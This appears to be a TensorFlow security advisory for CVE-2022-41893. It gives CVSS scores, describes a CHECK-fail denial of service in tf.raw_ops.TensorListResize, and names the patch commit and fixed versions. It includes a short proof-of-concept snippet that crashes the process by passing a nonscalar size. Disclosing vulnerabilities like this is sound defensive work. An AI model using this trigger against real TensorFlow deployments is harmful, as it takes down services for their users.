CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS
Percentile
47.9%
If tf.raw_ops.TensorListResize
is given a nonscalar value for input size
, it results CHECK
fail which can be used to trigger a denial of service attack.
import numpy as np
import tensorflow as tf
a = data_structures.tf_tensor_list_new(elements = tf.constant(value=[3, 4, 5]))
b = np.zeros([0, 2, 3, 3])
tf.raw_ops.TensorListResize(input_handle=a, size=b)
We have patched the issue in GitHub commit 888e34b49009a4e734c27ab0c43b0b5102682c56.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Pattarakrit Rattankul
github.com/tensorflow/tensorflow
github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/list_kernels.cc
github.com/tensorflow/tensorflow/commit/888e34b49009a4e734c27ab0c43b0b5102682c56
github.com/tensorflow/tensorflow/security/advisories/GHSA-67pf-62xr-q35m
nvd.nist.gov/vuln/detail/CVE-2022-41893